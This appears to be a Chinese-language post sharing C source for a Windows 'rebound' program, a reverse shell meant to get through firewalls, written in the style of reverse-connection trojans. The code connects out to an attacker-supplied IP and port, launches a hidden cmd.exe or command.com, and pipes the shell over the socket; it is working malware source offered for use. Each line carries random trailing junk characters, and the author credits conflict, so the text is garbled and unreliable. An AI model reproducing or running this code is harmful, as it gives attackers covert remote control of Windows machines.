这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 =\Tud-1Z
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/* ============================== h|c:!VN@
Rebound port in Windows NT T(sG.%
By wind,2006/7 1eE]4Z4Q
===============================*/ JhMrm%
#include 9AVK_
#include $.r}g\43P
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#pragma comment(lib,"wsock32.lib") 5H'b4Cyi`
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void OutputShell(); 6S! lD=
SOCKET sClient; m5'__<
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ;:-2~z~~
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void main(int argc,char **argv) WRLu3nBx
{ nL7S3
WSADATA stWsaData; j-I6QUd
int nRet; 4Rrw8Bw
SOCKADDR_IN stSaiClient,stSaiServer; =CG!"&T
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if(argc != 3) 1v[#::Bs
{ _Sk<S
printf("Useage:\n\rRebound DestIP DestPort\n"); ;8%@Lan
return; 8,H#t@+MT
} ?4wehcZz
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WSAStartup(MAKEWORD(2,2),&stWsaData); dp// p)B>
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); GH; F3s
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stSaiClient.sin_family = AF_INET; fdCxMKlu;
stSaiClient.sin_port = htons(0); g`~lIt[=
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); mISuo
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) yN WbI0a
{ W"}*Q-8W
printf("Bind Socket Failed!\n"); 6M<mOhp@}n
return; N8L)KgM5#7
} *]>OCGsr
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stSaiServer.sin_family = AF_INET; h>L6{d1
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); #r:Kg&W2FO
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); :hl}Zn~jt
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) fbx;-He!
{ +}G>M=t::
printf("Connect Error!"); i/O,`2
return;
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} ++p&
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OutputShell(); j9L+.UVI,
} v;F+fOo
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void OutputShell() rY_C3;B
{ d@>k\6%j
char szBuff[1024]; bbPd&7
SECURITY_ATTRIBUTES stSecurityAttributes; ?w5nKpG#RI
OSVERSIONINFO stOsversionInfo; )Ido|!]0d
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; si
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STARTUPINFO stStartupInfo; z7l;|T
char *szShell; `aWwF}
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PROCESS_INFORMATION stProcessInformation; NM.f0{:cj
unsigned long lBytesRead; ^kR^
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ->"h5h
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ae(]9 VW
stSecurityAttributes.lpSecurityDescriptor = 0; f@.Q%+!4
stSecurityAttributes.bInheritHandle = TRUE; kAQ\t?`x
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); <hF~L k ,
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); @9kk
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); W!Ct[t
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; y3o4%K8
stStartupInfo.wShowWindow = SW_HIDE; ~NW5+M(u
stStartupInfo.hStdInput = hReadPipe; [2j(\vC!
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; aab4c^Ms=
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GetVersionEx(&stOsversionInfo); [Ey%uh
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switch(stOsversionInfo.dwPlatformId) /jL{JF>I
{ sp|y/r#
case 1: [q+39
szShell = "command.com"; m+gG &`&u
break; %Pvb>U(Xs
default: @okm@6J*X
szShell = "cmd.exe"; 4z3$
break; _~#C $-T
} X9`C2fyVd
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); "}x70q'>S
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send(sClient,szMsg,77,0); \3Ald.EqtM
while(1) kA:;c}p
{ L!8?2 \5
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); W2.1xNWO
if(lBytesRead) [,A'
{ m"m;(T{ v
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); hpi_0lMkI
send(sClient,szBuff,lBytesRead,0); <n~g+ps
} !VZCM{
else K'rs9v"K|
{ Nm:<rI,^
lBytesRead=recv(sClient,szBuff,1024,0); N, +g/o\f
if(lBytesRead<=0) break; .N><yQ-j3'
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ib=^tK
} ;@-5lCvC(+
} X'Il:SK
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return; FEi,^V
}